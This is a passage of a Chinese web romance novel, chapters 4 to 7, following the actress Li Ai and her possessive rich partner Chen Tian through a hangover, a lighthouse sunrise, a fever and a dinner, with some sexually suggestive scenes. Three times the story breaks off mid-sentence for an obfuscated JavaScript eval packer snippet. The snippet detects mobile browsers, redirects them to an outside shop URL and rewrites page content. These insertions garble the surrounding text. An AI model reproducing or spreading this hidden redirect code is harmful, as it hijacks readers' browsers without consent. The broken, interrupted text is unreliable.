黎艾和陈添同时转头,看到一个被自己爸爸抱在怀里,一边笑着一边冲这边兴奋地招着手的小女孩儿。 大概是嫌他太闹腾,小女孩儿爸爸把她放到了地上。 双脚刚一着地,小女孩儿立马撒丫子朝陈添跑过来,边跑边喊,“添哥哥!” “诶。”陈添起身走过去将她抱起来,举高。 把小女孩儿抱进怀里,陈添向孩子她爸投去一个不满的眼神,“这种地方你也带她来。” 孩子她爸无奈道,“她嚷着非要来,想见你。” “这么想哥哥啊?”陈添用食指轻点了点女孩儿肉嘟嘟的脸蛋。 “嗯!”小女孩儿用力点头,“超想!” 陈添温柔笑笑,“哥哥带你出去看海。” 说着,他转头,问黎艾,“要一起吗?” 黎艾摇摇头。 都是熟人,陈添没什么不放心的,抱着怀里的小女孩儿开始往外走,这里头乌烟瘴气的,还有人当众搞少儿不宜的事,不适合小孩子呆着,他捂着小女孩儿的眼睛带她往外走,但还是被她瞄到一些东西。 “那是他们送给宴京哥哥的礼物吗?”小女孩指着旁边堆满了礼物的桌子问。 “嗯,我们希希是不是也想要礼物?” “想,但今天是宴京哥哥的生日,不是我生日。” “不是生日也可以收礼物,”陈添捏捏她软糯糯的小脸,笑着说,“别人都有礼物收,我们希希当然也得有。” “添哥哥最好了!” 小女孩儿将头埋进陈添脖子里像只小猫似的蹭了蹭。 大概是痒,陈添唇角的笑又扩大了些。 船舱里音乐声很大,黎艾听不清他们说了些什么,但能看清陈添脸上的笑容。 他是真的很喜欢小孩子。 - 早春的青港,阳光已然十分刺眼,仿佛从玻璃里折出。 卧室的窗帘合紧,仅窗户边缘浸着暖金色的光晕,室内光线昏昧,却不算暗,天花板四周的灯带亮着柔和的光。 黎艾缓缓睁开眼,感到一阵头疼。 “醒了?” 一道低沉好听的声音入耳,视线里出现一张好看得叫人分不清现实与梦境的脸。 如果今天是黎艾第一次见到这张脸,她一定以为自己还在做梦。 迷糊间,她回忆了下,记忆里的最后一幕,她在喝酒。 想来,她是不知道啥时候就醉了过去。 她昨晚的确醉了,陈添带希希回船舱的时候,她已经醉得不省人事。 “昨晚上我才出去多久,你能把自己喝成那个样子。”陈添俯下身来,替她拿开粘在脸上的发丝。 “什么样子?” “不记得了?”陈添的目光在她脸上定了两秒,而后意有所指地笑了下,“你装的吧?” “装什么装?” 黎艾一头雾水,难不成昨晚她还发酒疯了? 不应该啊,她一向酒品很好来着。 “就因为叫了几声老公还跟我飙起戏来了?” “什么?!”黎艾倏地睁大眼。 陈添用一脸“你演,你接着演”的表情看着她。 “别演了,”他将身子再俯低了一些,那张棱角分明的脸凑到她面前,一双漆黑深邃的眼始终与她保持对视,还用鼻尖轻刮了下她的脸,诱引般压低声音开口,“来,再叫一声。” 黎艾想把他推开,却愣是被那双过分迷人的眼硬控了足足两秒钟时间。 等她回过神准备去推他,这人都等得有些不耐烦了,“快。” “快你妹。” 她伸手去推他,却反被他握住手腕,单手压在了头顶。 “叫不叫?” “不叫!” “脸红什么?”他一手压着她两只手腕,剩下那只手捏住她发烫的脸,“以前在床上又不是没叫过。” 什么脸红?她那是气血上涌! 老公这种羞耻的字眼,清醒状态下她是不可能叫的,昨晚她就算真叫了,肯定也是他趁她喝醉诱骗她叫的。 见她一脸誓死不屈的样子,陈添低低笑了笑,空着的那只手离开她的脸,伸进被窝里,一路往下,寻到那枚珠蕊,“叫不叫?” 黎艾身子猛地一颤。 陈添看着她的表情变化,狭长双眸内笑意愈浓,“要我干到你叫?” “陈添你他妈禽兽吗,我醉了一晚上,头都快炸了!” “得,”陈添暂且放过她,“晚上再让你叫。” “你等着吧你。” “我等着。” 松开压着她的那只手,陈添站起来,“我去给你拿醒酒汤。” 黎艾宿醉后胃会很不舒服,但如果能喝上一碗酸辣汤,很快就能好,陈添早早让佣人准备好了酸辣汤。 没一会儿,陈添端着酸辣汤进来。 黎艾浑身无力,听到了他的脚步声也不想起,继续闭着眼睛瘫在床上。 陈添知道她没力气,把碗搁到床头柜上后,直接将人抱了起来,让她靠在他怀里,然后重新端起碗,递到她唇边,“喝汤。” 黎艾没那么娇气,不至于还要他喂,自个儿捧着碗埋头喝了起来。 她喝汤,陈添就看着她喝,看着看着,不知道想到什么,他低声笑了笑。 那声笑传进黎艾耳朵里,她从碗里抬起头,“你笑什么?” 只是随口一问,问完她又接着喝。 陈添微仰头,唇角跟着上扬,“原来你这么迫不及待要嫁给我。” 正喝着汤的黎艾因为他这话猛地呛了一下,呛得直咳嗦。 这人有完没完? 难道她昨晚真叫了? 不是吧,她真没想过嫁给他。 “才……咳……才没有!”她还咳嗽着都急着否认。 “不想被呛死就别说话了。” 陈添毫不在意她的否定,伸手去帮她拍背。 她是真呛得厉害,咳了好久才停下来。 以防他没完没了的又提起那事儿,她没咳了后赶紧转移话题,“现在几点了?” 陈添看一眼手表,“一点半。” “你不去公司?” “怎么?你想跑?” 他还不知道她。 每次说到晚上收拾她,她就想方设法往外跑。 “你跑得了今天跑不了明天,跑得了明天跑不了后天,”他把她放回床上,站起身,俯视着她说,“今天我让你跑。” 没错,黎艾是打算跑。 能跑一天算一天,陈添那人性一欲贼强,跑一天就少遭一天罪,虽然每次她也很爽,但爽过头就有些吃不消了。 “走了,”陈添揉揉她脑袋,“等会儿起来记得吃饭。” 黎艾趴在枕头上看着他离开。 在床上又缓了半个小时,等胃没不舒服了,头也不太疼了,她起床吃饭,然后洗了个澡,没化妆,戴着口罩帽子,捂得严严实实地出了门。 她没坐自家司机的车,既然要跑,当然不能让陈添知道她的行踪,她打了辆网约车,目的地是一家叫“小森林”的啤酒屋,林昔的店。 这些年,因为忙着在全国各地拍戏,她和林昔的联系一年比一年少,但她和林昔属于那种即便很久不联系再见面也不会有一丝尴尬的朋友。 她没提前跟林昔说要来,想着如果见不着就算了,反正以后多的是时间,她没想好到底退不退圈,但绝对不会再像之前那样拼命拍戏了,会把大多时间留出来享受生活。 踏进“小森林”啤酒屋,黎艾一眼就看到了在吧台正跟人聊着天的林昔,林昔脸上都是笑容,说着要和男朋友去旅游。 她和多年前那个小女生比起来似乎没什么变化,还是那么漂亮,爱笑,眉眼间俱是明媚。 黎艾没有去到吧台,找了个角落的位置坐着,跟服务员低声点了杯玛格丽特。 服务员将酒单递给林昔,林昔一边继续跟旁边的人聊着天,一边制作这杯玛格丽特。 隔着并不遥远的一段距离,黎艾看着林昔为自己调酒,看着她笑。 情不自禁的,她也轻轻笑起来。 和林昔聊着天的女生脸上笑容同样明媚,那是她的合伙人。 看着两个人,黎艾不由得想,如果她早一点清醒,她也可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631812|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如她们一般笑着,如她们一般快乐。 现在……虽不算晚,却也太晚。 她的人生还有很长一段路,但作为家喻户晓还拥有大批黑粉的一线明星,她很难再成为一名啤酒屋里的调酒师。 大概是她盯着林昔看了太久,哪怕她坐在角落,林昔还是望了过来。 她戴着压得很低的鸭舌帽,戴着口罩,头发乱糟糟,林昔却似乎一眼认出了她,眼睛一下睁得极大。 愣了两秒,林昔立马出了吧台,直奔黎艾所在的那个角落,一路小跑。 她的确是认出她了。 黎艾看着她跑过来,起身,朝她张开了手臂。 林昔扑进她怀里,因为太用力,还撞得有点儿疼。 “你怎么来了!”林昔特激动,在黎艾怀里蹦个不停。 “来看看你。” “你微信上跟我说一声呀,你要是来晚一点可就见不着我了,我今晚上九点的飞机。” “要去旅游?” “嗯。” 两人坐下来,边喝酒边聊,太久没见面的两个人有说不完的话,黎艾跟林昔讲娱乐圈那些奇葩事,林昔跟她讲生活里的小事,那些细碎的小事,没什么特别的,却是黎艾所向往的。 聊着聊着,林昔问起她和陈添的事,“你跟陈添现在怎么样了?你们都五年了耶,你一直说他只是把你当情人包养,但五年诶!他又不是同时养了好几个情人的那种。” “万一外边儿养着,只是我不知道呢?” 林昔摇头,“我觉得不像。” “不像什么?” “陈添不像那种人。” 黎艾似不赞同,“你才见过他几次。” “虽然我只见过他几次,但是!”林昔加重语气,“他看着就是那种不屑于搞偷偷摸摸那套的人,你懂吧,我觉得他如果真的还包养了其他人,肯定会直接告诉你。” 食指无规律地轻敲着酒杯,黎艾抵着眉,觉得林昔说得没错,陈添的确是那种不屑于偷情的人。 犹豫了会儿,她把昨晚上的事告诉了林昔,“昨晚他跟我说,他娶我。” “求婚?!!”林昔激动得差点跳起来。 “不是,只是随口说了一句。” 林昔还是一脸激动,“你看吧!我就说人家对你是真的!才不是什么包养。” 说到这儿,林昔像是突然想起什么,表情一变,“但……你是不是不打算嫁给他?” “你怎么知道?”黎艾有些微微讶然。 “你是丁克嘛,他们那种豪门子弟没几个会丁克吧,而且你以前跟我说过,他很喜欢小孩子。” “嗯。” “那你……”林昔不知道该怎么问。 “不说我跟他了,说说你跟老岑吧,你们都九年了,还不结婚吗?” “我跟老岑不结婚。”林昔说。 “啊?”黎艾一直以为他俩一定会步入婚姻殿堂。 “我们约定好了,要是一方想离开,就放对方离开,”林昔收起嬉笑神情,很认真的说,“我这辈子什么都不求,就求个自由,哪怕是爱情也不能用婚姻的名义把我捆住。” 闻言,黎艾一愣。 怔怔看了林昔一会儿,她在心底低低笑了笑。 这就是为什么在所有朋友里,她最最爱她,爱她明媚美好,爱她洒脱自由。 她举起酒杯,“好样的。” 林昔和她碰了个杯,再次笑了起来,唇边跳出两颗浅浅的梨涡,“如果够爱,不用那一纸婚姻将两个人捆在一起,也可以在一起一辈子。” 嗯,婚姻从来不是爱情的保障。 “嗡嗡——” 林昔放在桌上的手机震动起来。 林昔埋头看向手机,这才发现时间已经很晚了,“估计是老岑来接我了。” 她接通电话,“喂,你过来啦?” 黎艾听不到那头说了什么,只听见林昔说,“行,我过会儿就出来。” “要去赶飞机了?” 林昔点点头,不舍地说:“早知道你要来我就改一改行程了。” “没关系,以后我不会无缝进组了,我们多的是时间聚。” “行!那我们下次一定要聊一晚上!” “好。” 林昔张开手臂,“抱抱。” 黎艾倾身过去,和她再一次拥抱。 抱了挺久后,她拍拍林昔肩膀,“去找老岑吧,快晚高峰了,别误了飞机。” 林昔从她怀里出来,余光瞥见还剩一点的酒,“把最后这点儿酒喝了吧。” “嗯,”黎艾端起酒杯,“祝你路途顺利,玩得开心。” 林昔也向她举杯,“祝你星途璀璨。” 不,祝我,如你一般自由。 黎艾心想。 5. 第 5 章 早春的海边,风比浪大,路旁的柏树被吹得倾斜。 黎艾裹着大衣走在风里,感觉随时会被风刮走。 顶着风走了一段路,黎艾来到一座灯塔前。 灯塔老旧,栏杆上的油漆已然斑驳掉落,露出里面生锈的铁皮,地面也被铁锈渣子染成了棕褐色,却看不见掉落的锈渣,估计都被海风吹了个干净。 黎艾沿着楼梯往上走,绕了灯塔两圈,一直走到尽头,然后坐下。 这里是她从前的秘密基地。 在还没遇见陈添时,她很不开心的时候会来这里吹一晚上的风,但和陈添在一起后就没怎么来了,这五年她忙着在全国各地拍戏跑通告,在青港的时间不算多,留在青港的大多时间里她又都和陈添在一起。 陈添看着像十分不在乎别人死活的人,更别说情绪,但他总能第一时间察觉到她的不开心,然后用他的方式,哄她。 他很会哄人,只是连哄人都带着股强势,偏偏她竟还挺吃这套。 和他在一起的时间里,她并不怎么需要这个秘密基地。 今天她其实并没有不开心,那股情绪,说不清。 来这里,只是觉得,既然找了故人,那也顺便故地重游一次。 这儿不算安静,风声与海浪声没有一秒停歇,但除此之外,听不见其他任何声音,适合放空,也适合想一些事情,比如,她和陈添之间的事。 起初,她决定和陈添在一起,不是因为爱情,是见色起意,外加见钱眼开,对他真正的爱情,是在这五年时间里一点一点滋生出来的。 她一直摸不清陈添对她的感情,但她很清楚自己的对他的感情,她爱他。 这份爱,很确切。 只是,在她这里,爱情无法大于一切。 再爱他,她也不会在生孩子这件事上妥协。 所以,她从未想过会与他走到最后。 原本她以为陈添用不了多久就会厌了她,用不着她跟他提生孩子的事,结果五年过去,他非但没有厌弃她,还说会娶她。 那她不得不想一想,要怎么和他说,什么时候说。 她可以选择直白的告诉他,她是个丁克,如果他知晓后还打算继续这段感情,那就继续,等他厌了,或是想要孩子了,他们再分开。 可这些话一旦说出口,就像面对一瓶即将到保质期的酸奶,你内心痛苦纠结,酸奶也随时都会变质。 还不如果断一点,在告诉他的那一天就分开,让这份爱情永远停留在最美好的时刻。 可是…… 到底要在哪一天告诉他? 她……舍不得他。 这个问题,她想了一整夜。 海平线浮现曦光时,她还没有想出答案。 而在这时候,她于风声与海浪声里,听到了另一个声音—— “哒、哒、哒……” 是脚步声。 有人顺着楼梯在往上走,步伐散漫,光是听脚步声都能想象出这人走路的姿势,估计双手插着兜,一边在兜里把玩着某个物件,一边不紧不慢像散步似的地往上走。 黎艾脑海里不自觉出现这一幕想象,画面里不光是那人走路的姿势,连那人的长相和身材都一并清晰地出现在了她脑海里。 她曾无数次看着某人这样懒懒散散地往楼梯上走,或出现在楼梯尽头。 今天,无论是想象里,还是现实里,都出现了这一幕—— 陈添双手插兜,迈着长腿踏上最后一阶楼梯,眼眸随之掀起,他与她的目光在半空相遇。 两双眼对视。 “你……”黎艾先开的口,“怎么找到这儿的?” 陈添停在她面前,像没有要坐下跟她一起看海的打算,居高临下地看着她,“当然是找你找来的。” 黎艾也没有要站起来的打算,仰头看向他,“那你又是怎么找到我的?” “找个人有什么难的,”他说得轻易,“何况是个大明星。” 忽然听到“大明星”这三个字,黎艾心里顿了一下。 片刻,她垂眼,将目光重新投到海面。 “找我有事?”一副不熟的语气。 陈添笑了下,“接你回家。” 他声音很好听,尤其是带笑的时候,有种难以形容的吸引力,这样的声线配上“接你回家”这四个字,很撩人。 黎艾深吸了一口湿咸海风里的空气,压下心底那股悸动,“我还不想回去。” “不急,”陈添在她身边坐下来,“陪你看场日出我们再回。” 由远及近的低沉嗓音传入耳中,黎艾先是愣了两秒,而后才极缓地转头看向坐在了她旁边的人。 刚刚那一瞬间,风声和海浪声都消失不见,她能听见的,只有左侧胸腔下骤然加速的心跳。 他赶在黎明时分来,是为了来接她,也是为了陪她看一场日出。 “看我干什么?”陈添目视着前方,语气松散,“还看不看日出?” 不自觉地,黎艾弯了弯唇角。 她大概,就是这样爱上他的。 他总是不经意就给她一场浪漫。 “看。”说完,她又看了他一会儿才转头回去看向海平线。 “给,”陈添从兜里拿出一小罐糖递给她,“先吃几颗糖垫垫肚子,别低血糖了。” 黎艾有低血糖,但平时并不怎么犯,她只有早上不吃早饭就出去干活才容易低血糖,一般她不会不吃早饭就出门,跟陈添谈了这么久,她也就在他面前犯过两次低血糖,就两次,他却记得要给她带糖。 她自己都不记得。 从他手里接过糖,黎艾没立马吃,转着把玩了几下。 “你什么时候知道我在这儿的?”她问他。 “昨晚上。” “以前我每次不回家,你都会让人找我?” 陈添瞥她一眼,“就找了几次。” “就几次的话,那这次为什么要找我?”黎艾刨根问底。 她问,陈添就答:“因为你最近不太对劲。” “哪儿不对劲?” “又是说想退圈,又是一个人猛喝酒,现在还跑来这儿吹一晚上的风。” 黎艾笑笑,“你来找我,不会是怕我跳海吧?” “要是怕你跳海,昨晚上我就来了,不过,”陈添语锋一转,“现在我还真怀疑你想找死,这灯塔都他妈是危楼了吧,你还敢上来,也不怕一脚踩空掉下去摔死。” “死就死喽。”黎艾一脸无所谓,她从来不怕死。 “死就死?”陈添似乎有些不爽,他睨向黎艾,“我知道你不怕死,但你就不怕我会伤心?” 黎艾一愣,她还真没想过。 陈添这样的人,你很难把伤心两个字和他挂上钩。他在任何事上从来都游刃有余,难免让人觉得,他在感情里也是如此,无论这段感情是什么样的结局。 “你会伤心?”这是句废话,他都那样说了,但她还是要问,为下一个问题做铺垫。 “你以为我跟你一样没良心?” “那你会伤心多久?”她笑着问他,像只是随口一句玩笑话。 死亡的离开和分手的离开虽然差距很大,但结果是一样的,都是失去。 陈添不是那种嘴硬的人,他不屑于撒谎,她问他,是想知道,自己能给他带来多大伤害,如果他觉得他需要很久才能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大海倒映出天空的颜色,粼粼波光间,似夜里沉入海底的星光都浮上了海面,星芒与晨光共存,暮霭与拂晓交叠,像梦境里才会出现的场景。 很美的一幕,让人很难移开眼睛,黎艾却侧眸,看向了身旁的人。 陈添浸在金色阳光里,那双总是漆黑如夜色般的双眸此时浅了许多,却依旧深邃,像洇蓝海底里的琥珀。 “日出就那么一会儿的功夫,你还看我?” 陈添这么说着,却也将目光从美景中抽离,对上正注视着他的那双眼。 视线里,那双漂亮的眼睛弯了弯。 “你比日出好看。” 陈添神情一顿,而后,他眉尾缓缓往上挑,像迟疑。 记忆里,黎艾很少对他说这样的话。 “你最近,真的不对劲。” “不过……”他唇角一点一点勾起,“我喜欢。” 语落,他倾身,在清晨的海风里吻过来。 下巴被他抬起,后颈被他压住,这样强势的姿态,换来的竟是温柔的一个吻,他轻吮着她的唇瓣,在她唇间辗转,没有吻得很深,却比深吻更让人动情。 双唇纠缠,呼吸交融,像要一点一点慢慢陷进对方身体里。 海浪一层一层冲上沙滩,海风拂动衣摆,吹得他们的头发交缠在一起。 黎艾觉得大脑一片晕眩,像浮在云端,又像溺进海底,仿佛大雾里迷失方向的船,只能由他指引。 那种感觉真的太让人迷乱,她完全是凭借本能在回吻。 明明那么温柔,却又那么叫人难耐。 陈添很少有这般温柔的时候,以往他的吻总是来势汹汹,带着强烈的掠夺与侵占性。 他在日出时分吻她,此刻太阳已经完全从海平线升起,他还没停,继续吻着她,像要与她从日出吻到日落,吻到夜深,吻到地老天荒。 6. 第 6 章 “脸怎么这么烫。” 离开黎艾的唇,陈添的手还停留在她的脸上,“发烧了?” “你才发骚了!” 会错意的黎艾立马怼了回去。 陈添正准备去碰她额头的手蓦地停在半空,在笑一声后又落回去捏住她的下巴,捏着轻晃了晃,“脑子里都装的什么?我说的是感冒发烧的烧。” “哦……” 黎艾不失尴尬地眨巴了两下眼睛。 她的眼睛里映着阳光,随着眨动显得忽闪忽闪的。 看着她这模样,陈添脑子里冒出了一个形容词: 可爱。 “可爱”这两个字与黎艾整个人的形象毫不沾边,她一张脸生得美艳异常,还不乏英气,但陈添的的确确就是觉得她可爱。 想再亲一亲她。 这么想着,他就这么做了,低头在她唇角轻轻亲了一下。 接着,他又捏了捏她的脸,然后那只手才往上移了移,用手背去探她额头的温度。 “烫成这样了,你头不疼?” 不疼,就是有点晕,刚刚他亲她的时候尤其晕。 听了陈添的话,她稍稍用力晃了晃脑袋。 “嘶——”后脑传来的一阵疼痛让她倒吸了一口凉气,“疼。” 见状,陈添站起身,弯腰朝她伸出手,“走吧,回去了。” 黎艾将手搭在他掌心,借着他的力站起来,但被他紧紧握着手,她都没站稳。 “烧得都站不稳了?” “不是,脚麻了。” 坐了一晚上,脚不麻才怪。 脚麻得厉害,根本没法迈步,黎艾弯下腰去揉腿,想缓缓再走。 揉着揉着,忽然,她身体腾了空—— 陈添直接把她横抱了起来。 “你放我下来,”黎艾朝他喊道,“抱着人下楼梯很危险的。” 陈添置若罔闻,抱着她径直往前走,“放心,不会让你摔死。” “等等,”黎艾放不了心,“你不是能单手抱我吗,你单手抱我,这样抱太挡视线了。” 陈添是当过特种兵的人,还是全国特种兵里最拔尖的几个人之一,对地形的捕捉异常敏锐,这么简单的地形,他闭着眼睛都能走,压根没必要换姿势,但既然她想他单手抱,那他就单手抱吧。 他像抱小孩一样,让黎艾坐在他小臂上。 因为体型的差异,晃眼一看还真像他抱了个小女孩儿。 陈添身高一米九三,坐在他小臂上往下看让本来就头晕的黎艾更晕了,但她一点儿也不怕,不管是单手抱还是双手抱,只要在陈添怀里,她就有百分之一百的安全感。 稳稳当当地抱着她下了楼梯,陈添迈着长腿往沙滩外停着的一辆黑色卡宴走去。 见他朝这边走,司机赶忙下车将后座车门拉开。 上了车,陈添将抱黎艾的姿势调整回了最开始的横抱,让她能更舒服些。 “睡吧。”他轻轻拍了拍她脑袋。 “嗯……” 黎艾的确困了,声音不自觉拖长,还带着浓重的鼻音。 靠着他宽阔的胸膛闭上眼,一晚上没睡的她以为自己很快能睡过去,谁料发烧引起的难受偏偏在这时候发作,背上一阵一阵地窜着冷意,头又晕又疼。 见她一直皱着眉,表情难受,陈添也知道她没能睡着,遂跟司机说:“开快点儿。” 司机立马踩了脚油门,加速往白鹭湾方向驶去。 好在这边离他们的住处不远,现在路上车也不多,十来分钟车子便抵达了陈添的私人别墅。 医生已经在里面等着。 经医生诊断,就是普通发烧没错,只开了盒退烧药,一次吃一颗。 佣人端来温水,陈添接过。 他左手端水,右手搂着黎艾,右手掌心里还放着为她剥出来的药,“自己吃还是我喂你?” “自己吃。” 黎艾有气无力撑着陈添的胸口坐起来。 她把药吃了,又重新靠回陈添怀里。 “想不想吃东西?”陈添问她。 黎艾摇头,“不想吃。” 她不想吃,陈添也不强求,抱着她起身,上楼,去卧室。 把她放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631814|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进被窝里,陈添用遥控将窗帘拉上,但没关灯。 “你是不是睡不着?要不要我陪你说会儿话?”陈添也上床进了被子。 难受的时候,有人陪着说话会转移些注意力,或许就没那么难受了。 “要。” 黎艾低低地回,声音比平常要柔上许多,娇娇的,像每每事后她被折腾得完全不像再动弹时的声音,听得人心痒。 “出了汗就能退烧,”他俯身到她耳边,故意压低声音说,“要不要我帮你出出汗?” 放平常,黎艾一听他这个声音就知道他打的什么主意,但今天脑子大概是烧糊涂了,没听出他的坏心思,还问了句:“怎么出?” “有个床上运动特容易出汗,你还不用出力,只用躺着。” 话说到这份儿,脑子就是烧坏也能明白他说的是什么运动。 黎艾睁开眼,瞪他,“你禽兽吗?” “别骂,”陈添一脸谑色地笑,“再骂可能会忍不住帮你出汗。” 靠,黎艾在心里暗骂一声。 忘了这人就喜欢被骂,现在记起来,她却还是忍不住骂他,“变态,这么喜欢被骂,别的女的骂你几句你是不是也忍不住?” 陈添依旧笑着,“被骂不是我的喜好,被你骂才是,懂吗?” 别人骂他,他只觉得新鲜,她骂他,他才觉得带劲。 “少来。” 黎艾不吃他这套,觉得也就是他没遇着其他骂他的女生。 “不信?” “不信。”她又把眼睛给闭上了,一副不想再听他鬼话的表情。 “那我还有句话,你怕是更不信了。” 他这样说,她又好奇,遂问:“什么?” 陈添低垂双眸看着她,告诉她:“我只对你有性一欲。” 他没有刻意压低声音,语气里也不带一丝谑意,不是逗弄,是情话。 认真的一句情话。 而黎艾心里却想着: 男人的嘴,骗人的鬼。 她还是不信。 烧糊涂的她忘了,陈添从来不屑于说谎。 7. 第 7 章 退烧药的催眠来得突然,上一秒黎艾还在和陈添说话,下一秒就睡着了。 “黎艾?”陈添轻声喊了喊她。 “嗯……”她竟还应了一声,但声音迷迷糊糊的,有种小孩子似的软糯,她要是清醒,绝不可能发出这种奶呼呼的声音。 “睡着了?” 陈添伸手,轻轻将覆在她脸上的碎发帮她别到了耳后。 她的头发很细很软,触感极好,让人总忍不住想揉一揉。 “喵——” 房间里在这时响起一声猫叫。 随后,一只如同从埃及古画里走出的阿比西尼亚猫跳上了床,迈着极为优雅的步伐走过来,姿态高贵无比,但一到枕头边儿上,看着十足高冷的一只猫立马化成了撒娇精,一边发出听得人心软的喵呜声,一边用脑袋去蹭黎艾的头发。 陈添嘴里轻啧一声,这小家伙还跟他抢起地盘来了。 他把它抱起来,“别吵你妈睡觉。” 他抱着猫起身,带着它一起离开卧室。 走到门口,他把房间里的主灯给关了,天花板四周的灯带没关,黎艾有幽闭恐惧症,这栋别墅里每个房间总有一盏灯始终亮着。 …… 黎艾这一觉足足睡了十个小时,傍晚才醒。 烧估计退了,身上没再发冷,头也不疼了,但还是没劲儿。 她躺着不想起,把手机从枕头底下摸出来,准备看会儿小说。 她最近在看一本be小说,还剩最后几章没看完,今天接着看。 原本她以为这本小说一点儿也不虐,还挺甜的,结果没想到虐点全集合在最后几章,看得她不停掉眼泪。 她共情能力挺强,所以总是很容易眼泛泪光,但除了演戏时,她几乎没在人前哭过,也就在这种时候,于无人的昏暗房间里,她才会这般流泪。 最后一章看完,枕头被她的眼泪浸湿了一大片。 因为看得太投入,她压根没发现自己的眼睛哭得有多红。 陈添抱着猫进来时,看到的就是这样的她—— 哭得眼睛红红的,鼻尖也红透了,泪湿眼睫,清润瞳孔内盈盈有泪,像长夜里的整片银河都揉碎了,落在她眼睛里,透着让人心疼的脆弱。 那样的破碎感呈现在她那张冷艳的脸上,更是美得不可方物。 目及那张脸,陈添失神了片刻。 因这一幕下的她美得太不一样,也因为许久没见她这样哭过。 上一次她在他面前哭,已经是四年前。 他抱着猫大步朝她走过。 “怎么了?”他松了抱猫的手,伸手去捧起她的脸,“怎么哭成这样?” 黎艾叶抬手揉了揉眼睛,“看小说看的。” “真的?” 放平常,陈添就信了,最近她太不对劲,他有些不信。 黎艾把手机打开给他看,解锁后的界面就是那本小说的内容。 陈添这才信了。 “得。” 他用力揉了揉她头发。 黎艾也不知道这人为什么这么爱弄乱她头发,捞过一旁的猫丢给他,“撸猫去,别撸我。” “不想撸猫。” “不想撸猫也别撸我,头发被你弄得乱死了。”黎艾边理自己的头发边抱怨道。 陈添笑了下,“那你撸我也成。” 黎艾动作一顿,抬起那双哭得红通通的眼睛瞪他,“滚。” 他那话,肯定不是揉他头发的那意思。 “陈添你真的是个淫才啊,”黎艾忍不住想怼他,“怎么什么都说得到那事儿上去?思想得有多肮脏?” “男人脑子里不就那点事?”陈添完全不以为耻。 大多数男人脑子里确实就那点儿事,但会承认的没几个。 “你真好意思。” “有什么不好意思。” 这人真的。 黎艾挺服他的。 “先说好,”黎艾拿手指他,“想想就得了,今晚我不奉陪。” 陈添没说好也没说不好,“起来吃饭。” 提到吃饭,黎艾这才想起来自己快一天一夜没吃东西了。 这时候,旁边的猫咪叫了声。 黎艾转头看向它,摸着它脑袋说:“黎小二,你也饿了?” 猫咪似乎听懂了她的话,又喵了一声。 黎艾将它抱起来,“走吧,去吃饭。” 怀里的猫是陈添三年前送她的生日礼物。 本来,由于一直认为和陈添走不到最后,她完全没有要和他一起养宠物的想法,免得分手的时候还得争抚养权,但既然黎小二是陈添送她的生日礼物,那它就是她的,她还特意给它取了‘黎小二’这个名字昭示主权,跟着她姓的猫,当然是她的。 抱着猫下楼,饭菜已经做好,刚刚陈添上去就是准备去喊她的,下午她还在熟睡中的时候他就给她量过了体温,知道她的烧早退了。 佣人做了挺多黎艾爱吃的菜,还给黎小二煮了一小碗三文鱼,两人一猫一起在饭桌上用晚餐。 陈添坐在黎艾对面,背后的墙上挂着一面景泰蓝古董钟。 黎艾看了眼上面的时间,现在还没到六点。 “你今天没去公司?” “嗯。” 黎艾夹了一片鱼肉送进嘴里,“为什么没去?” 陈添看她一眼,“你说为什么?” “就因为我发烧?” “不然?” “可我一直在睡觉啊。” 陈添似乎不明白她的疑虑,“你睡你的,我守我的,有冲突?” 黎艾把嘴里的东西咽下去,“我意思是,反正我也是在睡觉,你完全可以去公司的,不用因为我耽误工作。” 对此,陈添只轻飘飘说了句:“工作没那么重要。” 黎艾愣了下,这句话是不是可以理解为: “工作没那么重要,你很重要。” 陈添是个并不爱说情话的男人,但黎艾总能在他口中听见比情话更打动她的话,譬如这句。 这句话如果是从一个不务正业的纨绔子弟嘴里说出来,没什么值得动容的,但陈添是个在几大媒体平台都拥有决策权的话事人,虽说他能拥有如今的地位更多靠的是他的家族势力,但陈家不乏精英,他能被推到这个位置,坐稳这个位置,那就证明,他是精英中的精英。 她晃神之际,陈添放在餐桌上的手机震动了起来,有人给他打来了电话。 陈添拿起手机看了眼联系人,然后接通。 他垂着眸子,有一声没一声地浅应着手机那边的人。 大约是觉得这对话无聊冗长,他从裤兜里摸出烟盒和打火机,食指抵开烟盒,从里从抽出一根松松咬在唇间,慢条斯理地用打火机点燃。 佣人为他拿来烟灰缸,他边抽烟边听手机那头的人说话。 黎艾并不排斥他在她面前抽烟,毕竟她也是个烟鬼,她非但不排斥,还很爱看他抽烟。 她一直觉得,他抽烟的样子,很有格调,像艺术。 当他抿住烟头深吸一口,他的喉结会上下滚动,等再呼出来,雪白烟雾缭绕而起,稍遮那张冷隽的脸,像雾里枯枝欲坠的冷杉,颓靡又阴郁,偏生他气质十足优雅华贵,那种感觉,就仿佛看见一只身着上世纪贵族华服的吸血鬼,危险却迷人,让人心甘情愿献上身体里所有血液。 那种近乎病态的、极致的、难以言喻的美感。 说是艺术,毫不为过。 等一支烟燃尽,他的电话也打完了,但黎艾还颇为入迷地看着他。 “就这么喜欢看我抽烟?” 他还在打电话的时候就注意到了黎艾在看他,也一直都知道她爱看他抽烟。 